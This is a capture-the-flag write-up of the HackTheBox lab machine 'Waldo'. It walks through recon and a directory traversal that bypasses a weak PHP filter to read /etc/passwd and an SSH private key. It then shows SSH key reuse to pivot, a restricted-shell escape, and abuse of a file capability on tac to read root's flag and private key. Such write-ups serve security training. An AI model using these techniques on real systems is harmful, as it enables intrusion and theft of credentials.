My last write-up of 2018 covers this week’s retired machine “Waldo” from HackTheBox. Waldo is a docker service stack. We abuse a vulnerability in the web server to get an initial foothold on the machine. From here, we get our hands on a private key to pivot across the Docker machine and ultimately exploit a “file capabilities” vulnerability to get access to the root.txt file. In summary:
User access | Root access |
---|---|
Directory traversal vulnerability in web service | Re-use of SSH private key on another Docker machine |
Exposed SSH private key file | Using getcap as privesc vector |
Reconnaissance
Start with a nmap scan to identify the open ports and services running on our target machine:
root@kali:~/HTB/waldo# nmap -sC -sV -oA waldo.htb 10.10.10.87
Starting Nmap 7.70 (https://nmap.org) at Sat Nov 10 14:57:38 2018
Nmap scan report for 10.10.10.87
Host is up (0.034s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 10 14:57:49 2018 -- 1 IP address (1 host up) scanned in 10.90 seconds
We can see there’s an nginx web service running on port 80. Let’s pay our attention to this lead first.
Web service – inspection of the web page
After we browse to http://10.10.10.87, the following web page is shown. It consists of a background image with a “list manager” and some buttons to delete the list entries
We click on one of the “delete” buttons and intercept the request with Burp, to see inspect the parameter(s) that are being passed:
The file fileDelete.php
is being called using the parameter listnum
. Basically it just deletes a list entry based on the number that has been specified in the request. Pretty much a dead end here.
At this point we could try to use a tool like DirBuster to enumerate hidden files/directories, however the server returns a wildcard response:
=====================================================
2018/11/10 15:22:52 Starting gobuster
=====================================================
2018/11/10 15:22:52 [-] Wildcard response found: http://10.10.10.87/a7389a4c-d094-47a6-9dfe-209bd891c145 => 302
2018/11/10 15:22:52 [!] To force processing of Wildcard responses, specify the '-fw' switch.
=====================================================
2018/11/10 15:22:52 Finished
=====================================================
Web service – reading the source
By looking at the source of the web page, we can see there’s a reference to a file named list.js
. In this file there are multiple functions defined. One of the functions is deleteList
that we triggered earlier, by clicking on the “Delete” button. Scrolling through the file, we can find another three functions that seem to allow us to read/write files and directories on the web server. Each of the functions opens an associated php file. For example the readDir
function opens dirRead.php
:
function readDir(path){
var xhttp = new XMLHttpRequest();
xhttp.open("POST","dirRead.php",false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send('path=' + path);
if (xhttp.readyState === 4 && xhttp.status === 200) {
return xhttp.responseText;
}else{
}
}
The readDir
function gets triggered after a GET request is sent to /list.html
. Refresh the page, forward the GET request and we can see the dirRead.php
file being called:
The server responded with a JSON encoded object; including a list of entries that were shown on the main web page.
Let’s manipulate the path parameter as follows:
The server returns a list of files included in the website’s root directory. We can also see the four PHP files that were mentioned in the list.js file we observed earlier.
Web service – FileRead function
We were able to list the files in the root web server directory using the readDir function. However, will we also be able to read files using the readFile
function? Let’s give that a shot. We craft a HTTP POST request using fileRead.php
to get the code content of the PHP file itself:
Reformat the JSON object and we get the following piece of PHP code:
<?php
if($_SERVER['REQUEST_METHOD'] === \"POST\") {
if(isset($_POST['path'])) {
header('Content-type: application\/json');
$_POST['path'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\",
$_POST['path']);
echo json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));
}
else {
header('Content-type: application\/json');
echo '[false]';
}
}
?>
The str_replace
function is used as a (bad) attempt to prevent directory traversal. We can use multiple slashes and dots to bypass the filter and read the contents of the /etc/passwd
file.
From the output we can see a potential target user named nobody
.
Correspondingly, we can abuse the directory traversal vulnerability to also list the directory contents of the .ssh
folder of the nobody
user, using dirRead.php
:
Finally, we retrieve the SSH private key of the nobody user in its home directory:
Logging on to the machine using SSH
Reformat/beautify the JSON object and logon to the Waldo machine using SSH. After logging in we can retrieve the contents of the user.txt
file
root@kali:~/HTB/waldo# chmod 400 priv.key
root@kali:~/HTB/waldo# ssh -i nobody@10.10.10.87
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ ls
user.txt
We are inside a docker machine running Alpine, commonly used for lightweight docker containers. We can also confirm this by running ifconfig:
waldo:~$ ifconfig
docker0 Link encap:Ethernet HWaddr 02:42:AA:33:91:5A
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
ens33 Link encap:Ethernet HWaddr 00:50:56:B9:F1:A6
inet addr:10.10.10.87 Bcast:10.10.10.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:147232 errors:0 dropped:188 overruns:0 frame:0
TX packets:277429 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11100786 (10.5 MiB) TX bytes:67389243 (64.2 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:91032 errors:0 dropped:0 overruns:0 frame:0
TX packets:91032 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:20467060 (19.5 MiB) TX bytes:20467060 (19.5 MiB)
The IP-address of 172.17.0.1 is assigned to the docker0 interface. Let’s try to connect with the same SSH private key we used earlier:
waldo:~/.ssh$ ssh -i .monitor monitor@172.17.0.1
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
&.
@@@,@@/ %
#*/%@@@@/.&@@,
@@@#@@#&@#&#&@@@,*%/
/@@@&###########@@&*(*
(@################%@@@@@. /**
@@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
%@@@@%##########&@@@.... .#%#@@@@@@@#
@@&%#########@@@@/ */@@@%(((@@@%
@@@#%@@%@@@, *&@@@&%(((#((((@@(
/(@@@@@@@ *&@@@@%((((((((((((#@@(
%/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
%@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# &
*@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
/@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
*@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
%@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
@@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
@@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
@@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
*@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
@@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
@@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
.@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
@@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
.@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/
*@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/
*@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@
*@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@#
(@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@
/@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@#
%@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
&@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
/@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
@@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
*@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
@@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
&@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
%@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
*@@,,,,,,,.,****,..,,,,,,,,&@@
(@(,,,.,,,,,,,,,,,,,,.,,,/@@
.@@,,,,,,,,,,,,,...,,,,,,@@
,@@@,,,,,,,,,,,,,,,,.(@@@
%@@@@&(,,,,*(#&@@@@@@,
Here's Waldo, where's root?
Last login: Sun Nov 10 12:52:54 2018 from 127.0.0.1
-rbash: alias: command not found
monitor@waldo:~$
Success! However, it seems that we are inside a restricted shell:
monitor@waldo:~$ cd /etc/cr-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a3': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a3': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier
It seems that we can only execute certain commands as listed in the PATH variable:
declare -rx PATH="/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1"
declare -x PWD="/home/monitor"
declare -rx SHELL="/bin/rbash"
To bypass the restricted shell; disconnect from the SSH session and re-connect using the following command:
ssh -i .monitor monitor@localhost -t “bash –noprofile”
Restore the PATH variable to include the common Linux binary locations:
export PATH="$PATH:/usr/sbin:/usr/bin:/sbin:/bin"
Privilege escalation - File Capabilities
This box had an interesting method to privesc. Something I had never used before. The way Linux checks privileges related to a process is based on capabilities. These include flags to a process thread that indicate what kind of additional (privileges) it is allowed to use. It is somewhat similar to setuid. We can scan the filesystem for files with capabilities using the getcap
command:
getcap -r / 2>/dev/null
monitor@waldo:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
The /usr/bin/tac/
binary has the “cap_dac_read_search+ei
” permission. The description of the “CAP_DAC_READ_SEARCH
” is as follows: “only override reading files and opening/listing directories (full filesystem READ access)”.
Meaning we can abuse the tac
command to read arbitrary files.
monitor@waldo:~$ tac /root/root.txt
8fb67c84418be6e45fbd348fd4584f6c
We can also read root’s private key, in order to unreverse the output pipe the output to tac: tac /root/.ssh/id_rsa | tac